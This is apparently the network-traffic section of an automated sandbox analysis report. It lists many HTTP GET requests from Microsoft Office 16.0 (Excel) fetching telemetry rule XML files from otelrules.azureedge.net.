Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/excel.exe-Production-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
